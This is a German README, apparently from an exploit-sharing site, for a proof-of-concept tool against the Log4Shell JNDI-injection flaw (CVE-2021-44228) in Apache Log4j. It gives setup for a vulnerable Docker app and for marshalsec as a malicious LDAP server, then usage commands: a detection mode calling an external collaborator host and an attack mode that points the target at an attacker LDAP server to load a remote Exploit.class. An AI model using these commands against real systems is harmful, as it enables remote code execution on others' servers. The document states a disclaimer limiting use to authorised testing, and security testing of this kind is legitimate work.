Log4Shell

(CVE-2021-44228)

☠️ Log4Shell PoC (CVE-2021-44228)

Test-Exploit für die kritische Schwachstelle Log4Shell in Apache Log4j ≤ 2.14.1, die Remote-Code-Ausführung durch JNDI-Injection ermöglicht.

⚠️ Dieser PoC dient nur zu Bildungszwecken und kontrollierten Tests in autorisierten Umgebungen. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Erlaubnis.

Voraussetzungen

• Python 3.x
• Java 8 oder höher
• marshalsec (für den bösartigen LDAP-Server)
• HTTP-Server (z. B. python3 -m http.server)
• Docker (optional für verwundbare Umgebung)

Lokale Testumgebung (optional mit Docker)

1. Führen Sie die verwundbare App aus:

   root@kitploit:~

   docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
   

2. Greifen Sie zu: http://localhost:8080

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

Verwendung

Passiver Erkennungsmodus:

python3 main.py -u http://target.com -i burp.collab.net -m detect

Angriffsmodus (erfordert Exploit.class auf Ihrem HTTP-Server):

python3 main.py -u http://target.com -i 192.168.0.100:1389 -m exploit